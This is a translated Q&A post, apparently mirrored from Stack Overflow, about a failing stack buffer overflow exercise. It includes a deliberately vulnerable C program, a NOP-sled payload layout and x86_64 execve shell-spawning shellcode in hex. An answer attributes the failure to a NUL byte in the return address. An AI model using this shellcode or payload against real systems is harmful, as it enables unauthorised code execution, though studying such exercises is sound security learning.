簡體   English   中英

簡單的緩沖區溢出 EIP 覆蓋不起作用

[英]Simple buffer overflow EIP overwrite not working

我會在stackexchange上問這個問題,但我已經問過關於這個問題的類似問題,而不是評論,我覺得我會在這里得到更好的結果。

幾個星期以來,我一直試圖利用這個緩沖區溢出代碼斷斷續續地利用這個代碼,我只是不知道其中的訣竅是什么!

我在用 \\x41 或幾乎任何其他字符覆蓋時控制 EIP,但是當我嘗試用有效地址覆蓋返回地址時,它 SIGSEGV 指向不同的地址,捕獲 SIGSEGV 的地址確實包含我所有的 shell 代碼和我的41 等

我有關閉堆棧保護,堆棧是 RWE,我還檢查了壞字符,發現了一些不包含任何壞字符的 shell 代碼。 如果有人可以提供幫助,我將不勝感激,因為我想要進步,而且在線資源似乎無法解決我的問題。 我已經閱讀了為了樂趣和利潤而粉碎堆棧,並了解基本的組裝基礎知識,我已經閱讀了大多數在線教程,它們大部分都是多余的,我一直在閱讀我認為與我的場景相關的任何 stackoverflow 文章,請你們中的一位專業人士會嘗試看看我的問題是什么嗎?

uname -a 輸出:

Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux

這是代碼:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void validate(char *pass) {
    if (strcmp(pass, "[REDACTED]") == 0) {
        printf("ACCESS GRANTED!");
        printf("Oh that's just idio... Oh my god!\n");
    } else {
        printf("Damn it, I had something for this...\n");
    }
}

int main(int argc, char** argv) {
    char password[200];
    printf("C:/ENTER PASSWORD: ");
    scanf("%s", password);
    validate(password);
    return 0;
}

這是包含 shellcode 的 Payload,28 個字節:

payload = "\x90"*132+ret+shell+"A"*44

這是shellcode:

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

壞字符是:

totalbad = "\x09\x0a\x0b\x0c\x0d\x20"

所以根據你的故事,問題是退貨地址。 您的無效返回地址是0x41414141 ,它是'AAAA'並且不包含 NULL 字節。 然后您嘗試包含 NULL 字節的“有效”返回地址,以便scanf("%s", password); 將停止從標准輸入讀取。 請記住這里scanf正在讀取以 NULL 結尾的字符串,如果您的返回地址包含 NULL 字節,它將停止並解釋為什么您的有效負載不完整,shellcode 和 'A'*44 未被復制。 請記住,我只是猜測地址包含 NULL 字節,因為根據您的故事,當您將返回地址更改為有效地址時,問題就開始了。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM